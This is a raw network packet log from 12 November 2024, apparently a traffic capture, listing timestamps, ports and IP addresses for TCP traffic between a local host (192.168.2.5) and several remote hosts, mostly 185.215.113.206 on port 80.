Nov 12, 2024 04:16:31.271307945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.271337032 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.271367073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.271378994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.271378994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.271390915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.271430016 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.271478891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.303803921 CET	49832	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.303803921 CET	49830	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.303803921 CET	49834	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.311754942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.311768055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.311778069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.311871052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.311888933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.311903954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.311913967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.311986923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.312823057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.312839985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.312854052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.312896967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.312926054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.312937021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.312947989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.312961102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.312968969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.312978029 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.312988997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313004017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313034058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.313071012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313082933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313091993 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.313092947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313180923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313185930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.313193083 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313203096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313214064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313225031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313296080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.313332081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313344002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313354015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313365936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313389063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313396931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.313400984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313414097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313424110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313433886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313446045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313457966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313461065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.313522100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.313581944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313594103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313602924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313616991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313644886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.313658953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313673973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313684940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313695908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.313698053 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.313770056 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.317205906 CET	443	49832	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.317220926 CET	443	49832	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.317260027 CET	443	49832	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.317322969 CET	49832	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.317435980 CET	49832	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.319452047 CET	443	49834	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.319499969 CET	443	49835	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.319513083 CET	443	49834	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.319546938 CET	443	49835	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.319557905 CET	49835	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.319576025 CET	49834	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.319585085 CET	49835	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.326168060 CET	443	49833	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.326266050 CET	49833	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.326276064 CET	443	49833	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.326455116 CET	443	49833	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.326734066 CET	49833	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.332154989 CET	49832	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.332169056 CET	443	49832	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.340131044 CET	49834	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.340136051 CET	443	49834	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.342278004 CET	49835	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.342289925 CET	443	49835	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.353529930 CET	49833	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:31.353535891 CET	443	49833	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.364007950 CET	443	49829	20.1.248.118	192.168.2.5
Nov 12, 2024 04:16:31.366641998 CET	49829	443	192.168.2.5	20.1.248.118
Nov 12, 2024 04:16:31.366667032 CET	443	49829	20.1.248.118	192.168.2.5
Nov 12, 2024 04:16:31.367546082 CET	443	49829	20.1.248.118	192.168.2.5
Nov 12, 2024 04:16:31.367607117 CET	49829	443	192.168.2.5	20.1.248.118
Nov 12, 2024 04:16:31.367918015 CET	49829	443	192.168.2.5	20.1.248.118
Nov 12, 2024 04:16:31.367969990 CET	443	49829	20.1.248.118	192.168.2.5
Nov 12, 2024 04:16:31.368257999 CET	49829	443	192.168.2.5	20.1.248.118
Nov 12, 2024 04:16:31.368266106 CET	443	49829	20.1.248.118	192.168.2.5
Nov 12, 2024 04:16:31.382262945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.382277966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.382287979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.382479906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.382708073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.382756948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.382767916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.382796049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.382882118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.382894039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.382904053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.382909060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.383017063 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.383076906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.383089066 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.383131027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.383141041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.383153915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.383177042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.383233070 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.383929968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.383966923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.383979082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384053946 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.384088993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384099960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384114981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384126902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384183884 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.384226084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384237051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384253979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384265900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384274960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384288073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384296894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.384366035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.384530067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384541035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384553909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384565115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384582043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384593010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384602070 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.384603977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384615898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384627104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384641886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384664059 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.384723902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384727001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.384736061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384746075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384758949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384768009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384778976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384789944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384799004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384813070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384815931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.384850025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384862900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384875059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384880066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.384886026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384902000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384911060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384927034 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384943008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.384946108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384957075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384968996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384979963 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.384989977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.385001898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.385013103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.385015965 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.385082006 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.385771036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.385785103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.385817051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.385829926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.385847092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.385859013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.385869980 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.385900974 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.385911942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.385921955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.385930061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.385934114 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.385992050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.386053085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386065006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386075974 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386087894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386102915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386113882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386123896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386133909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386147976 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.386148930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386188030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386198997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386209011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386219978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386226892 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.386230946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386244059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386260033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386276960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386287928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386292934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.386300087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386310101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386322021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386331081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386343002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386353970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386364937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386379004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.386398077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386409998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386419058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386430025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386440992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386444092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.386482000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386495113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386503935 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386508942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.386516094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386526108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386537075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386573076 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.386616945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386624098 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.386627913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386639118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386652946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386678934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.386698008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386709929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386719942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386732101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.386732101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386745930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386756897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.386790037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.386842966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.387018919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387032032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387042046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387053013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387063980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387073994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.387115002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387125969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387135983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387147903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387159109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387170076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387180090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387191057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387202978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387214899 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.387276888 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.387439013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387450933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387463093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387474060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387485027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387495041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387501955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.387562990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.387594938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387617111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387628078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387638092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387649059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387660980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387670040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387680054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.387681007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387695074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387708902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387720108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387736082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387748003 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.387748003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387762070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387773037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387784004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387820005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.387872934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.387902975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387914896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387924910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387937069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387948036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387959003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387969971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387975931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.387984037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.387996912 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388008118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388017893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388030052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388041019 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.388103008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.388176918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388187885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388197899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388209105 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388220072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388236046 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.388297081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.388325930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388343096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388354063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388365030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388375998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388386011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388386011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.388397932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388407946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388417959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388428926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388441086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388494968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.388581991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.388597965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388608932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388619900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388662100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.388746977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.388782978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388794899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.388804913 CET	80	49750	185.215.113.206	192.168.2.5
